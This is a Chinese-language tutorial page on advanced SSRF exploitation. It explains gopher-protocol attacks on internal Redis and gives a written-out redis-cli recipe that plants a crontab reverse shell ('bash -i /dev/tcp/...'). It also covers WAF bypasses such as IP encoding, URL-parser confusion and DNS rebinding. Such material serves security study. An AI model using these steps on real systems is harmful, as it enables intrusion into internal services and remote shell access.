SSRF〈2〉

server/2024/11/12 21:02:38/

                SSRF的进阶


 

           1.Gopher协议的利用

 

1.gopher协议可以通过url指向指定IP端口发送任意内容,模拟大多数TCP协议,是SSRF中的一把利刃。

gopher协议URL: gopher://<host>:<port>/_<url编码的TCP数据>

这个url编码的TCP数据是gopher如此强大的原因,我们可以将任意TCP协议的流量,url编码后通过gopher这个载体发出去。这里有一个限制就是,gopher协议会一次把流量全部发送出去,这里就要它所承载的数据是无状态的单次链接,比如像有认证的mysql服务,就无法使用gopher来模拟。

 

2.不过gopher也不是在任何情况下都能使用,常见的编程语言对gopher协议的支持如下

 

PHP:--with-curlwrappers且php版本至少为5.3 

 

Java:小于JDK1.7

 

Curl:低版本不支持 

 

Perl:支持 

 

ASP.NET:小于版本3

 

3.使用gopher访问Redis 近些年来出现了大量无认证Redis的手法,但是Redis一般部署在内网,大多数情况下绑定在127.0.0.1:6379,无法从外部直接访问。但是在存在SSRF漏洞的情况下,可以通过gopher协议来访问内网的Redis服务,导致任意的增删改查,甚至造成写入webshell、crontab、SSH公钥等更危险的结果。

Redis协议(RESP)的格式还是较为简单的,对于gopher非常好构造。

 

4.在访问Redis时,可以采用写入Crontab(一种管理工具)的方式反弹shell。流程如下:

redis-cli flushall

echo -e"\n\n*/1****bash -i /dev/tcp/127.0.0.1/8080 0>&1\n\n" | redis-cli -x set 1

redis-cli config set dir /var/spool/cron

redis-cli config set dbfilename root

redis-cli save

我们可以使用socat转发并记录流量,获取Redis协议流。

socat -v tcp-listen:1234,fork tcp-connect=localhost:6379

 

然后将其中的数据转换成gopher协议,把所有我们发出的流量进行url编码。

 

                  2.SSRF的绕过

 

SSRF也存在一些WAF(Web应用防火墙)绕过的场景

1.IP地址变形

如果WAF限制了IP地址,比如只允许外网IP作为参数输入,这时可以采取以下绕过方式:

 

a.改变ip地址的进制 比如可以把127.0.0.1改为十六进制的0x7f000001,或者十进制的2130706433 

 

b.省略0位 可以将127.0.0.1省略为127.1                                                                                               

 

c.特殊写法的ip地址 在windows中0代表0.0.0.0。而在linux中0代表127.0.0.1

 

d.利用Enclosed Alphanumeric代替数字字母 ①②③.④⑤.⑥⑦.⑧⑨

 

2.利用跳转

 

可以使用302跳转到特定IP地址或者使用其他协议,需要服务端进行配置。

 

3.利用URL解析问题,

 

URL的格式较为复杂,不同的实现方式可能造成解析差异,比如

http://a@127.0.0.1:80@baidu.com, 对于php来说,hostname为baidu.com而对于libcurl(<7.54.0)来说hostname为127.0.0.1.

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

 

4.利用DNS

 

可以利用动态解析服务,比如nip.io。它可以将127.0.0.1 nip.io解析为127.0.0.1 

 

DNS重绑定,在某些情况下,后端服务可能采取这样的方法检测SSRF。先对域名进行解析,获得ip地址,判断ip地址合法性,如果合法则将域名传入到请求函数,在请求函数中会对域名做第二次解析。这样一来,如果我们搭建一个DNS服务,在第一次请求解析时返回一个合法的IP,在第二次解析时返回一个内网IP,就能绕过上述检测方式。

 


http://www.ppmy.cn/server/140991.html

相关文章

华为HarmonyOS借助AR引擎帮助应用实现虚拟与现实交互的能力3-获取设备位姿

设备位姿描述了物体在真实世界中的位置和朝向。AR Engine提供了世界坐标下6自由度&#xff08;6DoF&#xff09;的位姿计算&#xff0c;包括物体的位置&#xff08;沿x、y、z轴方向位移&#xff09;和朝向&#xff08;绕x、y、z轴旋转&#xff09;。通过AR Engine&#xff0c;您…

开源竞争-大数据项目期末考核

开源竞争&#xff1a; 自己没有办法完全掌握技术的时候就开源这个技术&#xff0c;培养出更多的技术依赖&#xff0c;让更多人完善你的技术&#xff0c;那么这不就是在砸罐子吗&#xff1f;一个行业里面总会有人砸罐子的&#xff0c;你不如先砸还能听个想。 客观现实&#xf…

Java实战项目-基于Spring Boot+vue框架的健康健身追踪系统

大家好&#xff0c;我是stormjun&#xff0c;今天为大家带来的是Java实战项目-基于Spring Bootvue框架的健康健身追踪系统。该系统采用 Java 语言 开发&#xff0c;MySql 作为数据库&#xff0c;系统功能完善 &#xff0c;实用性强 &#xff0c;可供大学生实战项目参考使用。 博…

SpringMVC总结 我的学习笔记

SpringMVC总结 我的学习笔记 一、SpringMVC简介1.MVC2.SpringMVC概述3. SpringMVC中的核心组件4.SpringMVC核心架构流程 二、SpringMVC框架实例具体实现使用注解实现 四、数据处理及跳转1.结果跳转方式2.处理器方法的参数与返回值处理提交数据数据显示到前端 五、RestFul风格1.…

wps 运行宏 获取所有的表格

1、 需求&#xff1a; 需要修改word里面的表格样式&#xff0c;表格大概有几百个 2. wps 不支持批量处理&#xff0c;需要使用到宏&#xff0c;下面这个是从其他页面找到的获取所有的表格 测试可以使用。步骤 复制下面的代码到&#xff1a; WPS的工具 --》 开发工具 --》VB编辑…

Stable Diffusion的解读(一)

Stable Diffusion的解读&#xff08;一&#xff09; 文章目录 Stable Diffusion的解读&#xff08;一&#xff09;摘要Abstract一、机器学习部分1. Stable Diffusion的早期工作1.1 从编码器谈起1.2 第一条路线&#xff1a;VAE和DDPM1.3 第二条路线&#xff1a;VQVAE1.4 路线的交…

数据分析-39-时间序列分解之经验小波分解EWT

文章目录 1 时间序列模态分解1.1 模态分解的概念1.2 模态分解的作用1.3 常用的模态分解方法1.4 模态分解的常用库2 经验小波分解EWT2.1 EWT的流程2.2 加载数据集2.2.1 数据重采样2.2.2 原始数据可视化2.3 代码实现EWT3 参考附录1 时间序列模态分解 1.1 模态分解的概念 时间序…

【Redis】基于redis实现订阅发布

背景 业务发展过程中&#xff0c;希望做到异步解耦&#xff0c;但是又不想引入MQ中间件&#xff0c;在中小型服务中&#xff0c;就可以考虑使用redis自带的订阅发布来解决这个问题。使用 Redis 实现消息的订阅和发布时&#xff0c;可以通过 Spring Boot 集成 Redis 来方便地实…